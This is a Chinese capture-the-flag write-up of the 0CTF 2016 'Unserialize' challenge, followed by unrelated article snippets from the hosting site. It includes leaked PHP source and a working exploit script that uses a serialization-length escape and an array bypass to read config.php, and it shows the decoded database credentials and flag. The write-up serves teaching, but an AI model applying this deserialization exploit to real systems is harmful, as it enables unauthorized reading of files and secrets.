[CTFTraining] 0CTF 2016 Unserialize

news2024/11/29 2:54:03

​ 打开环境后是这样:
在这里插入图片描述
​ 找了挺多地方没啥头绪,干脆直接上dirsearch
在这里插入图片描述
​ 发现有源码泄露,直接下载下来分析。先进行自动审计:
在这里插入图片描述
​ 发现有疑似的漏洞,但根据题目来看是反序列化的,还是要自行进行审计,在profile.php中有个unserialize反序列化,打开文件后还看到一个file_get_contents读文件:
在这里插入图片描述

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

​ profile信息存在,则后面有个else 。 可能这就是最终利用到的代码:

$photo = base64_encode(file_get_contents($profile['photo']));

​ 注意一下update.php,它做了一个上传的限制:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

​ 注意到class.php中的数据库查询有个过滤规则,这里刚刚好拿来逃逸利用
在这里插入图片描述
​ 然后在config.php中发现:
在这里插入图片描述

​ 看到这里有个flag 应该是要class调用config.php进行读取了

​ 访问register.php注册一个账号,然后登录可更新信息:

在这里插入图片描述
​ 果然把 我们的photo 替换成了hacker
在这里插入图片描述

​ exp:

<?php
 
class b
{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
	public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;
 
?>

​ 输出结果:

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

​ 再次更新时抓包:

在这里插入图片描述
Content-Disposition: form-data; name="nickname"替换数据并使用数组绕过:

在这里插入图片描述
​ 然后访问profile.php,查看源码得到:

data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezk0NThkMzRiLWVmOTUtYTAzMC03MGM5LWMxNDkzZDZkMjAxN30nOwo/Pgo=

base64解码得到flag:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/597579.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

月报总结|Moonbeam 5月份大事一览

本月&#xff0c;Moonbeam迎来了Uniswap V3的部署&#xff0c;经过一年的社区讨论&#xff0c;UniSwap V3终于以5000万个同意票通过&#xff0c;将在未来一个月内部署于Moonbeam&#xff0c;为Web3用户提供更广泛公链生态的多链体验&#xff0c;加速应用之间跨链交互&#xff0…

平板电脑系统优化垃圾清理软件CleanMyMac X

CleanMyMac 这是一款苹果系统电脑的清理软件&#xff0c;无论是Mac、苹果笔记本电脑还是平板电脑都可以使用。垃圾清理操作简单又方便&#xff0c;不但专项清理各种垃圾&#xff0c;还能卸载垃圾软件。 对于刚拿到苹果电脑的朋友来讲&#xff0c;选择一些必备的mac软件可以省去…

opencv3 模板匹配与直方图

模板匹配 尽量加上归一化操作 像素差值计算&#xff0c;模板在原图上滑动 ① 模板匹配和卷积原理很像&#xff0c;模板在原图像上从原点开始滑动&#xff0c;计算模板与&#xff08;图像被模板覆盖的地方&#xff09;的差别程度(例如值127与值190的区别)&#xff0c;这个差别…

NVM-Nodejs多版本管理工具

NVM:&#x1f50e;:下载点我 下载含有 setup.exe的 下载完成之后修改一下settings.txt 文件&#xff0c;在原有的基础上直接加入这些配置 root: D:\nvm path: D:\nvm\nodejs node_mirror: https://npm.taobao.org/mirrors/node/ npm_mirror: https://npm.taobao.org/mirrors…

(转载)多种群遗传算法的函数优化算法(matlab实现)

以下内容大部分来源于《MATLAB智能算法30个案例分析》&#xff0c;仅为学习交流所用。 1 理论基础 1.1 遗传算法早熟问题 遗传算法是一种借鉴生物界自然选择和进化机制发展起来的高度并行、随机、自适应的全局优化概率搜索算法。由于优化时不依赖于梯度&#xff0c;具有很强…

vue可视化大屏教程

在我们日常生活中&#xff0c;经常会看到各式各样的大屏&#xff0c;其中有一部分是传统的数据大屏&#xff0c;如工业监控大屏、环保监测大屏等。这些大屏的主要作用是展示信息&#xff0c;让用户快速获取信息&#xff0c;避免用户在阅读时产生视觉疲劳。还有一部分是智能的可…

建筑七大员有哪些发证部门?证书有什么区别?

建筑七大员是指建筑施工企业关键技术岗位&#xff0c;七大员分别是 施工员 质量员 标准员 材料员 机械员 劳务员 资料员 建筑七大员&#xff0c;常见的发证单位有住房和成乡建设厅和中国建设教育协会两个部门发证&#xff0c;但是大家还是要考住房和城乡建设厅的&#xff0c;建…

CANoe中如何仿真报文的CRC和Counter,告诉你三种方法皆可实现

🍅 我是蚂蚁小兵,专注于车载诊断领域,尤其擅长于对CANoe工具的使用🍅 寻找组织 ,答疑解惑,摸鱼聊天,博客源码,点击加入👉【相亲相爱一家人】🍅 玩转CANoe,博客目录大全,点击跳转👉 📘前言 🍅 作为网络测试,有些测试场景总线中的其它节点进行仿真,因为…

SREWorks v1.5 版本发布 | 基于实时作业平台的日志聚类开源

在经过v1.0~v1.4四个版本迭代后&#xff0c;SREWorks的核心底座已经表现出极高的稳定性和成熟性。在v1.5版本中&#xff0c;SREWorks开发团队在核心底座上&#xff0c;进行了较多的数智化能力迭代。同时&#xff0c;在数智能力迭代过程中&#xff0c;我们也维持着与SREWorks用户…

5.2.4 IP数据报(二)分析Wireshark捕获的数据帧

5.2.4 IP数据报&#xff08;二&#xff09;分析Wireshark捕获的数据帧 为了更好的理解IP数据报的格式&#xff0c;我们通过一个实例学习IP数据报的格式 例&#xff1a;使用数据报捕获工具Wireshark采集我自己主机传输的一条报文&#xff0c;其中有个数据帧的内容如图所示&…

凝心聚力,共创未来 | 2023 开放原子全球开源峰会 OpenCloudOS 社区年会即将启幕

近年来&#xff0c;随着云原生技术的不断发展&#xff0c;催生出越来越多的新场景。作为企业 IT 系统的底层技术&#xff0c;其操作系统所面临的问题也变得越来越复杂。面对云原生等新技术对操作系统提出的新挑战、新要求&#xff0c;如何凝聚生态合作伙伴的优势力量&#xff0…

AI|用过的AI工具都给你整理好了

AI&#xff5c;用过的AI工具都给你整理好了 最近两周冷静下来了&#xff0c;而且个人状况因为二阳有所影响&#xff0c;没有过多关注这些AI工具&#xff1b;前两天给公司伙伴分享的契机&#xff0c;整理了一下这两个月用过的一些AI工具&#xff0c;部分是日常工作也在使用的&a…

展望开源产业与数字经济未来|2023 开放原子全球开源峰会开源创新理论与实践分论坛即将启幕

开源创新社会实践催生伟大的理论&#xff0c;也需要伟大理论的指导。在这个数字化和信息化高速发展的时代&#xff0c;开源技术已经成为推动科技进步和创新的关键力量&#xff0c;仍在不断创新迭代的开源理论及其实践更是深刻影响着与开源行业深度绑定的数字经济的未来发展。 6…

如何将多张图片分别生成二维码?图片批量建码怎么做?

当我们想要将图片生成二维码时&#xff0c;一般会使用二维码生成器&#xff08;免费在线二维码生成器-二维码在线制作-音视频二维码在线生成工具-机智熊二维码&#xff09;来操作&#xff0c;只需要上传图片就可以一键生成二维码&#xff0c;操作非常的简单快捷。那么当我们需要…

1167 Cartesian Tree(37行代码+详细注释)

分数 30 全屏浏览题目 切换布局 作者 陈越 单位 浙江大学 A Cartesian tree is a binary tree constructed from a sequence of distinct numbers. The tree is heap-ordered, and an inorder traversal returns the original sequence. For example, given the sequence …

火山引擎DataLeap的Catalog系统搜索实践 (二):整体架构

整体架构 火山引擎DataLeap的Catalog搜索系统使用了开源的搜索引擎Elasticsearch进行基础的文档检索&#xff08;Recall阶段&#xff09;&#xff0c;因此各种资产元数据会被存放到Elasticsearch中。整个系统包括4个主要的数据流程&#xff1a; 实时导入。资产元数据变更时相应…

华为路由器 IPSec VPN 配置

需求&#xff1a; 通过 IPSecVPN 实现上海与成都内网互通 拓扑图如下&#xff1a; 一、首先完成网络配置 1、R1 路由器设置 <Huawei>sys [Huawei]sys R1 [R1]un in en# 开启DHCP [R1]dhcp enable# 设置内网接口 [R1]int g0/0/0 [R1-GigabitEthernet0/0/0]ip addr 10.…

基于Springboot+Vue的校园招聘系统(进阶版)

本项目是一年前写的一个项目的升级版&#xff0c;因为某些原因将它作了一个升级改进&#xff0c; 好多兄弟来问有没有演示&#xff0c;现在先来写个说明&#xff01;&#xff01;&#xff01; 目录 一. &#x1f981; 前言二. &#x1f981; 开源代码与组件使用情况说明三. &am…

工作笔记-volta,package打包,

第一个 &#xff1a;前端项目启动错误 今天写前端工程的时候&#xff0c;运行了npm run dev&#xff0c;结果出现以下问题&#xff0c; 先认为是node版本原因&#xff0c;我的是14&#xff0c;同事说要切换到12&#xff0c;于是切到了12&#xff0c; 用到了volta , 安装和使用…

大咖云集共话AIGC,亚马逊云科技中国峰会亮点抢先看

充满想象的AIGC时代&#xff0c;企业如何抓住机遇实现双效提升&#xff1f;要说2023年科技圈顶流话题&#xff0c;非AIGC&#xff08;AI-generated Content&#xff0c;人工智能生成内容&#xff09;莫属。当前&#xff0c;以GPT模型为代表的AIGC正在持续渗透各行各业&#xff…